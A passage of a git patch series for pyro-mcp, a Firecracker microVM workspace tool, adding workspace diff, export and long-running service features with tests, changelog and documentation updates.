"current" + self._backend.export_archive( + instance, + workspace_path=WORKSPACE_GUEST_PATH, + archive_path=current_archive_path, + ) + _extract_seed_archive_to_host_workspace( + baseline_archive_path, + workspace_dir=baseline_root, + destination=WORKSPACE_GUEST_PATH, + ) + _extract_seed_archive_to_host_workspace( + current_archive_path, + workspace_dir=current_root, + destination=WORKSPACE_GUEST_PATH, + ) + diff_payload = _diff_workspace_trees(baseline_root, current_root) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = instance.last_error + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + diff_payload["workspace_id"] = workspace_id + return diff_payload + def exec_workspace( self, workspace_id: str, @@ -2136,6 +2697,12 @@ class VmManager: def _workspace_host_dir(self, workspace_id: str) -> Path: return self._workspace_dir(workspace_id) / WORKSPACE_DIRNAME + def _workspace_baseline_dir(self, workspace_id: str) -> Path: + return self._workspace_dir(workspace_id) / WORKSPACE_BASELINE_DIRNAME + + def _workspace_baseline_archive_path(self, workspace_id: str) -> Path: + return self._workspace_baseline_dir(workspace_id) / WORKSPACE_BASELINE_ARCHIVE_NAME + def _workspace_commands_dir(self, workspace_id: str) -> Path: return self._workspace_dir(workspace_id) / WORKSPACE_COMMANDS_DIRNAME @@ -2278,17 +2845,29 @@ class VmManager: return entries def _workspace_instance_for_live_shell_locked(self, workspace: WorkspaceRecord) -> VmInstance: + instance = self._workspace_instance_for_live_operation_locked( + workspace, + operation_name="shell operations", + ) + self._require_workspace_shell_support(instance) + return instance + + def _workspace_instance_for_live_operation_locked( + self, + workspace: WorkspaceRecord, + *, + operation_name: str, + ) -> VmInstance: self._ensure_workspace_not_expired_locked(workspace, time.time()) self._refresh_workspace_liveness_locked(workspace) if workspace.state != "started": raise RuntimeError( "workspace " - f"{workspace.workspace_id} must be in 'started' state before shell operations" + f"{workspace.workspace_id} must be in 'started' state before {operation_name}" ) instance = workspace.to_instance( workdir=self._workspace_runtime_dir(workspace.workspace_id) ) - self._require_workspace_shell_support(instance) return instance def _workspace_shell_record_from_payload( diff --git a/tests/test_api.py b/tests/test_api.py index cba5d1f..0a0e847 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -50,7 +50,9 @@ def test_pyro_create_server_registers_vm_run(tmp_path: Path) -> None: assert "vm_run" in tool_names assert "vm_create" in tool_names assert "workspace_create" in tool_names + assert "workspace_diff" in tool_names assert "workspace_sync_push" in tool_names + assert "workspace_export" in tool_names assert "shell_open" in tool_names assert "shell_read" in tool_names assert "shell_write" in tool_names @@ -136,6 +138,9 @@ def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: (updated_dir / "more.txt").write_text("more\n", encoding="utf-8") synced = pyro.push_workspace_sync(workspace_id, updated_dir, dest="subdir") executed = pyro.exec_workspace(workspace_id, command="cat note.txt") + diff_payload = pyro.diff_workspace(workspace_id) + export_path = tmp_path / "exported-note.txt" + exported = pyro.export_workspace(workspace_id, "note.txt", output_path=export_path) opened = pyro.open_shell(workspace_id) shell_id = str(opened["shell_id"]) written = pyro.write_shell(workspace_id, shell_id, input="pwd") @@ -154,6 +159,9 @@ def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: assert created["workspace_seed"]["mode"] == "directory" assert synced["workspace_sync"]["destination"] == "/workspace/subdir" assert written["input_length"] == 3 + assert diff_payload["changed"] is True + assert exported["output_path"] == str(export_path) + assert export_path.read_text(encoding="utf-8") == "ok\n" assert "/workspace" in read["output"] assert signaled["signal"] == "INT" assert closed["closed"] is True diff --git a/tests/test_cli.py b/tests/test_cli.py index da03832..a34babe 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -64,6 +64,8 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "pyro workspace create debian:12 --seed-path ./repo" in workspace_help assert "pyro workspace sync push WORKSPACE_ID ./repo --dest src" in workspace_help assert "pyro workspace exec WORKSPACE_ID" in workspace_help + assert "pyro workspace diff WORKSPACE_ID" in workspace_help + assert "pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt" in workspace_help assert "pyro workspace shell open WORKSPACE_ID" in workspace_help workspace_create_help = _subparser_choice( @@ -93,6 +95,18 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "--dest" in workspace_sync_push_help assert "Import host content into `/workspace`" in workspace_sync_push_help + workspace_export_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "export" + ).format_help() + assert "--output" in workspace_export_help + assert "Export one file or directory from `/workspace`" in workspace_export_help + + workspace_diff_help = _subparser_choice( + _subparser_choice(parser, "workspace"), "diff" + ).format_help() + assert "immutable workspace baseline" in workspace_diff_help + assert "workspace export" in workspace_diff_help + workspace_shell_help = _subparser_choice( _subparser_choice(parser, "workspace"), "shell", @@ -522,6 +536,100 @@ def test_cli_workspace_exec_prints_human_output( ) +def test_cli_workspace_export_prints_human_output( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def export_workspace( + self, + workspace_id: str, + path: str, + *, + output_path: str, + ) -> dict[str, Any]: + assert workspace_id == "workspace-123" + assert path == "note.txt" + assert output_path == "./note.txt" + return { + "workspace_id": workspace_id, + "workspace_path": "/workspace/note.txt", + "output_path": "/tmp/note.txt", + "artifact_type": "file", + "entry_count": 1, + "bytes_written": 6, + "execution_mode": "guest_vsock", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="export", + workspace_id="workspace-123", + path="note.txt", + output="./note.txt", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert "[workspace-export] workspace_id=workspace-123" in output + assert "artifact_type=file" in output + + +def test_cli_workspace_diff_prints_human_output( + monkeypatch: pytest.MonkeyPatch, + capsys: pytest.CaptureFixture[str], +) -> None: + class StubPyro: + def diff_workspace(self, workspace_id: str) -> dict[str, Any]: + assert workspace_id == "workspace-123" + return { + "workspace_id": workspace_id, + "changed": True, + "summary": { + "total": 1, + "added": 0, + "modified": 1, + "deleted": 0, + "type_changed": 0, + "text_patched": 1, + "non_text": 0, + }, + "entries": [ + { + "path": "note.txt", + "status": "modified", + "artifact_type": "file", + "text_patch": "--- a/note.txt\n+++ b/note.txt\n", + } + ], + "patch": "--- a/note.txt\n+++ b/note.txt\n", + } + + class StubParser: + def parse_args(self) -> argparse.Namespace: + return argparse.Namespace( + command="workspace", + workspace_command="diff", + workspace_id="workspace-123", + json=False, + ) + + monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) + monkeypatch.setattr(cli, "Pyro", StubPyro) + cli.main() + output = capsys.readouterr().out + assert ( + "[workspace-diff] workspace_id=workspace-123 total=1 added=0 modified=1" + in output + ) + assert "--- a/note.txt" in output + + def test_cli_workspace_sync_push_prints_json( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] ) -> None: diff --git a/tests/test_public_contract.py b/tests/test_public_contract.py index 5db18e7..f026351 100644 --- a/tests/test_public_contract.py +++ b/tests/test_public_contract.py @@ -18,6 +18,8 @@ from pyro_mcp.contract import ( PUBLIC_CLI_ENV_SUBCOMMANDS, PUBLIC_CLI_RUN_FLAGS, PUBLIC_CLI_WORKSPACE_CREATE_FLAGS, + PUBLIC_CLI_WORKSPACE_DIFF_FLAGS, + PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS, PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS, PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS, PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS, @@ -92,6 +94,16 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: ).format_help() for flag in PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS: assert flag in workspace_sync_push_help_text + workspace_export_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "export" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_EXPORT_FLAGS: + assert flag in workspace_export_help_text + workspace_diff_help_text = _subparser_choice( + _subparser_choice(parser, "workspace"), "diff" + ).format_help() + for flag in PUBLIC_CLI_WORKSPACE_DIFF_FLAGS: + assert flag in workspace_diff_help_text workspace_shell_help_text = _subparser_choice( _subparser_choice(parser, "workspace"), "shell", diff --git a/tests/test_server.py b/tests/test_server.py index 5525e8c..0df0197 100644 --- a/tests/test_server.py +++ b/tests/test_server.py @@ -33,6 +33,8 @@ def test_create_server_registers_vm_tools(tmp_path: Path) -> None: assert "vm_run" in tool_names assert "vm_status" in tool_names assert "workspace_create" in tool_names + assert "workspace_diff" in tool_names + assert "workspace_export" in tool_names assert "workspace_logs" in tool_names assert "workspace_sync_push" in tool_names assert "shell_open" in tool_names @@ -201,6 +203,8 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: dict[str, Any], dict[str, Any], dict[str, Any], + dict[str, Any], + dict[str, Any], ]: server = create_server(manager=manager) created = _extract_structured( @@ -236,6 +240,20 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: }, ) ) + diffed = _extract_structured( + await server.call_tool("workspace_diff", {"workspace_id": workspace_id}) + ) + export_path = tmp_path / "exported-more.txt" + exported = _extract_structured( + await server.call_tool( + "workspace_export", + { + "workspace_id": workspace_id, + "path": "subdir/more.txt", + "output_path": str(export_path), + }, + ) + ) opened = _extract_structured( await server.call_tool("shell_open", {"workspace_id": workspace_id}) ) @@ -296,12 +314,27 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: deleted = _extract_structured( await server.call_tool("workspace_delete", {"workspace_id": workspace_id}) ) - return created, synced, executed, opened, written, read, signaled, closed, logs, deleted + return ( + created, + synced, + executed, + diffed, + exported, + opened, + written, + read, + signaled, + closed, + logs, + deleted, + ) ( created, synced, executed, + diffed, + exported, opened, written, read, @@ -314,6 +347,9 @@ def test_workspace_tools_round_trip(tmp_path: Path) -> None: assert created["workspace_seed"]["mode"] == "directory" assert synced["workspace_sync"]["destination"] == "/workspace/subdir" assert executed["stdout"] == "more\n" + assert diffed["changed"] is True + assert exported["artifact_type"] == "file" + assert Path(str(exported["output_path"])).read_text(encoding="utf-8") == "more\n" assert opened["state"] == "running" assert written["input_length"] == 3 assert "/workspace" in read["output"] diff --git a/tests/test_vm_guest.py b/tests/test_vm_guest.py index cc35209..a9310fd 100644 --- a/tests/test_vm_guest.py +++ b/tests/test_vm_guest.py @@ -105,6 +105,54 @@ def test_vsock_exec_client_upload_archive_round_trip( assert stub.closed is True +def test_vsock_exec_client_export_archive_round_trip( + monkeypatch: pytest.MonkeyPatch, tmp_path: Path +) -> None: + monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) + archive_bytes = io.BytesIO() + with tarfile.open(fileobj=archive_bytes, mode="w") as archive: + payload = b"hello\n" + info = tarfile.TarInfo(name="note.txt") + info.size = len(payload) + archive.addfile(info, io.BytesIO(payload)) + archive_payload = archive_bytes.getvalue() + header = json.dumps( + { + "workspace_path": "/workspace/note.txt", + "artifact_type": "file", + "archive_size": len(archive_payload), + "entry_count": 1, + "bytes_written": 6, + } + ).encode("utf-8") + b"\n" + stub = StubSocket(header + archive_payload) + + def socket_factory(family: int, sock_type: int) -> StubSocket: + assert family == socket.AF_VSOCK + assert sock_type == socket.SOCK_STREAM + return stub + + client = VsockExecClient(socket_factory=socket_factory) + archive_path = tmp_path / "export.tar" + response = client.export_archive( + 1234, + 5005, + workspace_path="/workspace/note.txt", + archive_path=archive_path, + timeout_seconds=60, + ) + + request = json.loads(stub.sent.decode("utf-8").strip()) + assert request["action"] == "export_archive" + assert request["path"] == "/workspace/note.txt" + assert archive_path.read_bytes() == archive_payload + assert response.workspace_path == "/workspace/note.txt" + assert response.artifact_type == "file" + assert response.entry_count == 1 + assert response.bytes_written == 6 + assert stub.closed is True + + def test_vsock_exec_client_shell_round_trip(monkeypatch: pytest.MonkeyPatch) -> None: monkeypatch.setattr(socket, "AF_VSOCK", 40, raising=False) responses = [ diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index ca65ad2..ab17a11 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -2,6 +2,7 @@ from __future__ import annotations import io import json +import os import subprocess import tarfile import time @@ -454,6 +455,239 @@ def test_workspace_sync_push_rejects_destination_outside_workspace(tmp_path: Pat manager.push_workspace_sync(workspace_id, source_path=source_dir, dest="../escape") +def test_workspace_diff_and_export_round_trip(tmp_path: Path) -> None: + seed_dir = tmp_path / "seed" + seed_dir.mkdir() + (seed_dir / "note.txt").write_text("hello\n", encoding="utf-8") + update_dir = tmp_path / "update" + update_dir.mkdir() + (update_dir / "note.txt").write_text("hello from sync\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=seed_dir, + )["workspace_id"] + ) + manager.push_workspace_sync(workspace_id, source_path=update_dir) + + diff_payload = manager.diff_workspace(workspace_id) + assert diff_payload["workspace_id"] == workspace_id + assert diff_payload["changed"] is True + assert diff_payload["summary"]["modified"] == 1 + assert diff_payload["summary"]["text_patched"] == 1 + assert "-hello\n" in diff_payload["patch"] + assert "+hello from sync\n" in diff_payload["patch"] + + output_path = tmp_path / "exported-note.txt" + export_payload = manager.export_workspace( + workspace_id, + path="note.txt", + output_path=output_path, + ) + assert export_payload["workspace_id"] == workspace_id + assert export_payload["artifact_type"] == "file" + assert output_path.read_text(encoding="utf-8") == "hello from sync\n" + + status = manager.status_workspace(workspace_id) + logs = manager.logs_workspace(workspace_id) + assert status["command_count"] == 0 + assert logs["count"] == 0 + + +def test_workspace_export_directory_uses_exact_output_path(tmp_path: Path) -> None: + seed_dir = tmp_path / "seed" + nested_dir = seed_dir / "src" + nested_dir.mkdir(parents=True) + (nested_dir / "note.txt").write_text("hello\n", encoding="utf-8") + + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + seed_path=seed_dir, + )["workspace_id"] + ) + + output_dir = tmp_path / "exported-src" + payload = manager.export_workspace(workspace_id, path="src", output_path=output_dir) + assert payload["artifact_type"] == "directory" + assert (output_dir / "note.txt").read_text(encoding="utf-8") == "hello\n" + assert not (output_dir / "src").exists() + + +def test_workspace_diff_requires_create_time_baseline(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + workspace_id = str( + manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + )["workspace_id"] + ) + baseline_path = tmp_path / "vms" / "workspaces" / workspace_id / "baseline" / "workspace.tar" + baseline_path.unlink() + + with pytest.raises(RuntimeError, match="requires a baseline snapshot"): + manager.diff_workspace(workspace_id) + + +def test_workspace_export_helpers_preserve_directory_symlinks(tmp_path: Path) -> None: + workspace_dir = tmp_path / "workspace" + workspace_dir.mkdir() + (workspace_dir / "note.txt").write_text("hello\n", encoding="utf-8") + os.symlink("note.txt", workspace_dir / "note-link") + (workspace_dir / "empty-dir").mkdir() + + archive_path = tmp_path / "workspace-export.tar" + exported = vm_manager_module._prepare_workspace_export_archive( # noqa: SLF001 + workspace_dir=workspace_dir, + workspace_path=".", + archive_path=archive_path, + ) + + assert exported.artifact_type == "directory" + + output_dir = tmp_path / "output" + extracted = vm_manager_module._extract_workspace_export_archive( # noqa: SLF001 + archive_path, + output_path=output_dir, + artifact_type="directory", + ) + + assert extracted["artifact_type"] == "directory" + assert (output_dir / "note.txt").read_text(encoding="utf-8") == "hello\n" + assert (output_dir / "note-link").is_symlink() + assert os.readlink(output_dir / "note-link") == "note.txt" + assert (output_dir / "empty-dir").is_dir() + + +def test_workspace_export_helpers_validate_missing_path_and_existing_output(tmp_path: Path) -> None: + workspace_dir = tmp_path / "workspace" + workspace_dir.mkdir() + (workspace_dir / "note.txt").write_text("hello\n", encoding="utf-8") + + with pytest.raises(RuntimeError, match="workspace path does not exist"): + vm_manager_module._prepare_workspace_export_archive( # noqa: SLF001 + workspace_dir=workspace_dir, + workspace_path="missing.txt", + archive_path=tmp_path / "missing.tar", + ) + + archive_path = tmp_path / "note-export.tar" + exported = vm_manager_module._prepare_workspace_export_archive( # noqa: SLF001 + workspace_dir=workspace_dir, + workspace_path="note.txt", + archive_path=archive_path, + ) + output_path = tmp_path / "note.txt" + output_path.write_text("already here\n", encoding="utf-8") + with pytest.raises(RuntimeError, match="output_path already exists"): + vm_manager_module._extract_workspace_export_archive( # noqa: SLF001 + archive_path, + output_path=output_path, + artifact_type=exported.artifact_type, + ) + + +def test_diff_workspace_trees_reports_empty_binary_symlink_and_type_changes(tmp_path: Path) -> None: + baseline_dir = tmp_path / "baseline" + current_dir = tmp_path / "current" + baseline_dir.mkdir() + current_dir.mkdir() + + (baseline_dir / "modified.txt").write_text("before\n", encoding="utf-8") + (current_dir / "modified.txt").write_text("after\n", encoding="utf-8") + + (baseline_dir / "deleted.txt").write_text("gone\n", encoding="utf-8") + (current_dir / "added.txt").write_text("new\n", encoding="utf-8") + + (baseline_dir / "binary.bin").write_bytes(b"\x00before") + (current_dir / "binary.bin").write_bytes(b"\x00after") + + os.symlink("link-target-old.txt", baseline_dir / "link") + os.symlink("link-target-new.txt", current_dir / "link") + + (baseline_dir / "swap").mkdir() + (current_dir / "swap").write_text("type changed\n", encoding="utf-8") + + (baseline_dir / "removed-empty").mkdir() + (current_dir / "added-empty").mkdir() + + diff_payload = vm_manager_module._diff_workspace_trees( # noqa: SLF001 + baseline_dir, + current_dir, + ) + + assert diff_payload["changed"] is True + assert diff_payload["summary"] == { + "total": 8, + "added": 2, + "modified": 3, + "deleted": 2, + "type_changed": 1, + "text_patched": 3, + "non_text": 5, + } + assert "--- a/modified.txt" in diff_payload["patch"] + assert "+++ b/modified.txt" in diff_payload["patch"] + assert "--- /dev/null" in diff_payload["patch"] + assert "+++ b/added.txt" in diff_payload["patch"] + assert "--- a/deleted.txt" in diff_payload["patch"] + assert "+++ /dev/null" in diff_payload["patch"] + entries = {entry["path"]: entry for entry in diff_payload["entries"]} + assert entries["binary.bin"]["text_patch"] is None + assert entries["link"]["artifact_type"] == "symlink" + assert entries["swap"]["artifact_type"] == "file" + assert entries["removed-empty"]["artifact_type"] == "directory" + assert entries["added-empty"]["artifact_type"] == "directory" + + +def test_diff_workspace_trees_unchanged_returns_empty_summary(tmp_path: Path) -> None: + baseline_dir = tmp_path / "baseline" + current_dir = tmp_path / "current" + baseline_dir.mkdir() + current_dir.mkdir() + (baseline_dir / "note.txt").write_text("same\n", encoding="utf-8") + (current_dir / "note.txt").write_text("same\n", encoding="utf-8") + + diff_payload = vm_manager_module._diff_workspace_trees( # noqa: SLF001 + baseline_dir, + current_dir, + ) + + assert diff_payload == { + "changed": False, + "summary": { + "total": 0, + "added": 0, + "modified": 0, + "deleted": 0, + "type_changed": 0, + "text_patched": 0, + "non_text": 0, + }, + "entries": [], + "patch": "", + } + + def test_workspace_shell_lifecycle_and_rehydration(tmp_path: Path) -> None: manager = VmManager( backend_name="mock", diff --git a/uv.lock b/uv.lock index 0297f19..6f69a2e 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "2.5.0" +version = "2.6.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From f504f0a3313522135581b760975f6e659b638b51 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Thu, 12 Mar 2026 05:36:28 -0300 Subject: [PATCH 19/49] Add workspace service lifecycle with typed readiness Make persistent workspaces capable of running long-lived background processes instead of forcing everything through one-shot exec calls. Add workspace service start/list/status/logs/stop across the CLI, Python SDK, and MCP server, with multiple named services per workspace, typed readiness probes (file, tcp, http, and command), and aggregate service counts on workspace status. Keep service state and logs outside /workspace so diff and export semantics stay workspace-scoped, and extend the guest agent plus backends to persist service records and logs across separate calls. Update the 2.7.0 docs, examples, changelog, and roadmap milestone to reflect the shipped surface. Validation: uv lock; UV_CACHE_DIR=.uv-cache make check; UV_CACHE_DIR=.uv-cache make dist-check; real guest-backed Firecracker smoke for workspace create, two service starts, list/status/logs, diff unaffected, stop, and delete. --- CHANGELOG.md | 10 + README.md | 22 +- docs/first-run.md | 43 +- docs/install.md | 17 +- docs/integrations.md | 4 + docs/public-contract.md | 25 + docs/roadmap/task-workspace-ga.md | 7 +- ...0-service-lifecycle-and-typed-readiness.md | 2 + examples/python_workspace.py | 13 + pyproject.toml | 2 +- .../linux-x86_64/guest/pyro_guest_agent.py | 326 ++++- src/pyro_mcp/api.py | 107 ++ src/pyro_mcp/cli.py | 326 +++++ src/pyro_mcp/contract.py | 26 + .../linux-x86_64/guest/pyro_guest_agent.py | 326 ++++- .../runtime_bundle/linux-x86_64/manifest.json | 2 +- src/pyro_mcp/vm_environments.py | 2 +- src/pyro_mcp/vm_guest.py | 96 ++ src/pyro_mcp/vm_manager.py | 1080 +++++++++++++++++ src/pyro_mcp/workspace_shells.py | 91 +- tests/test_api.py | 36 +- tests/test_cli.py | 1054 ++++++++++++++++ tests/test_public_contract.py | 37 + tests/test_server.py | 99 +- tests/test_vm_guest.py | 99 ++ tests/test_vm_manager.py | 367 ++++++ tests/test_workspace_shells.py | 1 + uv.lock | 2 +- 28 files changed, 4098 insertions(+), 124 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f8ffbcf..b813849 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,16 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 2.7.0 + +- Added first-class workspace services across the CLI, Python SDK, and MCP server with + `pyro workspace service *`, `Pyro.start_service()` / `list_services()` / `status_service()` / + `logs_service()` / `stop_service()`, and the matching `service_*` MCP tools. +- Added typed readiness probes for workspace services with file, TCP, HTTP, and command checks so + long-running processes can be started and inspected without relying on shell-fragile flows. +- Kept service state and logs outside `/workspace`, and surfaced aggregate service counts from + `workspace status` without polluting workspace diff or export semantics. + ## 2.6.0 - Added explicit host-out workspace operations across the CLI, Python SDK, and MCP server with diff --git a/README.md b/README.md index 7f4f812..ba89cc6 100644 --- a/README.md +++ b/README.md @@ -20,7 +20,7 @@ It exposes the same runtime in three public forms: - First run transcript: [docs/first-run.md](docs/first-run.md) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 2.6.0: [CHANGELOG.md#260](CHANGELOG.md#260) +- What's new in 2.7.0: [CHANGELOG.md#270](CHANGELOG.md#270) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -57,7 +57,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 2.6.0 +Catalog version: 2.7.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -81,6 +81,7 @@ After the quickstart works: - diff the live workspace against its create-time baseline with `uvx --from pyro-mcp pyro workspace diff WORKSPACE_ID` - export a changed file or directory with `uvx --from pyro-mcp pyro workspace export WORKSPACE_ID note.txt --output ./note.txt` - open a persistent interactive shell with `uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID` +- start long-running workspace services with `uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done'` - move to Python or MCP via [docs/integrations.md](docs/integrations.md) ## Supported Hosts @@ -134,7 +135,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.6.0 +Catalog version: 2.7.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -218,6 +219,13 @@ pyro workspace shell open WORKSPACE_ID pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' pyro workspace shell read WORKSPACE_ID SHELL_ID pyro workspace shell close WORKSPACE_ID SHELL_ID +pyro workspace service start WORKSPACE_ID web --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' +pyro workspace service start WORKSPACE_ID worker --ready-file .worker-ready -- sh -lc 'touch .worker-ready && while true; do sleep 60; done' +pyro workspace service list WORKSPACE_ID +pyro workspace service status WORKSPACE_ID web +pyro workspace service logs WORKSPACE_ID web --tail-lines 50 +pyro workspace service stop WORKSPACE_ID web +pyro workspace service stop WORKSPACE_ID worker pyro workspace logs WORKSPACE_ID pyro workspace delete WORKSPACE_ID ``` @@ -226,12 +234,16 @@ Persistent workspaces start in `/workspace` and keep command history until you d machine consumption, add `--json` and read the returned `workspace_id`. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `2.6.0`; if it fails +later host-side changes into a started workspace. Sync is non-atomic in `2.7.0`; if it fails partway through, delete and recreate the workspace from its seed. Use `pyro workspace diff` to compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use `pyro workspace exec` for one-shot non-interactive commands inside a live workspace, and `pyro workspace shell *` when you need a -persistent PTY session that keeps interactive shell state between calls. +persistent PTY session that keeps interactive shell state between calls. Use +`pyro workspace service *` when the workspace needs one or more long-running background processes. +Typed readiness checks prefer `--ready-file`, `--ready-tcp`, or `--ready-http`; keep +`--ready-command` as the escape hatch. Service metadata and logs live outside `/workspace`, so the +internal service state does not appear in `pyro workspace diff` or `pyro workspace export`. ## Public Interfaces diff --git a/docs/first-run.md b/docs/first-run.md index ed2a0a7..c76c45f 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 2.6.0 +Catalog version: 2.7.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -75,6 +75,7 @@ $ uvx --from pyro-mcp pyro workspace sync push WORKSPACE_ID ./changes $ uvx --from pyro-mcp pyro workspace diff WORKSPACE_ID $ uvx --from pyro-mcp pyro workspace export WORKSPACE_ID note.txt --output ./note.txt $ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID +$ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID app --ready-file .ready -- sh -lc 'touch .ready && while true; do sleep 60; done' $ uvx --from pyro-mcp pyro mcp serve ``` @@ -118,16 +119,52 @@ $ uvx --from pyro-mcp pyro workspace shell write WORKSPACE_ID SHELL_ID --input ' $ uvx --from pyro-mcp pyro workspace shell read WORKSPACE_ID SHELL_ID /workspace [workspace-shell-read] workspace_id=... shell_id=... state=running cursor=0 next_cursor=... truncated=False execution_mode=guest_vsock + +$ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID web --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' +[workspace-service-start] workspace_id=... service=web state=running cwd=/workspace ready_type=file execution_mode=guest_vsock + +$ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID worker --ready-file .worker-ready -- sh -lc 'touch .worker-ready && while true; do sleep 60; done' +[workspace-service-start] workspace_id=... service=worker state=running cwd=/workspace ready_type=file execution_mode=guest_vsock + +$ uvx --from pyro-mcp pyro workspace service list WORKSPACE_ID +Workspace: ... +Services: 2 total, 2 running +- web [running] cwd=/workspace readiness=file +- worker [running] cwd=/workspace readiness=file + +$ uvx --from pyro-mcp pyro workspace service status WORKSPACE_ID web +Workspace: ... +Service: web +State: running +Command: sh -lc 'touch .web-ready && while true; do sleep 60; done' +Cwd: /workspace +Readiness: file /workspace/.web-ready +Execution mode: guest_vsock + +$ uvx --from pyro-mcp pyro workspace service logs WORKSPACE_ID web --tail-lines 50 +Workspace: ... +Service: web +State: running +... + +$ uvx --from pyro-mcp pyro workspace service stop WORKSPACE_ID web +[workspace-service-stop] workspace_id=... service=web state=stopped execution_mode=guest_vsock + +$ uvx --from pyro-mcp pyro workspace service stop WORKSPACE_ID worker +[workspace-service-stop] workspace_id=... service=worker state=stopped execution_mode=guest_vsock ``` Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `2.6.0`; if it fails partway through, delete and recreate the +workspace. Sync is non-atomic in `2.7.0`; if it fails partway through, delete and recreate the workspace. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use `pyro workspace exec` for one-shot commands and `pyro workspace shell *` when you -need a persistent interactive PTY session in that same workspace. +need a persistent interactive PTY session in that same workspace. Use `pyro workspace service *` +when the workspace needs long-running background processes with typed readiness checks. Internal +service state and logs stay outside `/workspace`, so service runtime data does not appear in +workspace diff or export results. Example output: diff --git a/docs/install.md b/docs/install.md index 847291b..fc4d5c7 100644 --- a/docs/install.md +++ b/docs/install.md @@ -83,7 +83,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 2.6.0 +Catalog version: 2.7.0 debian:12 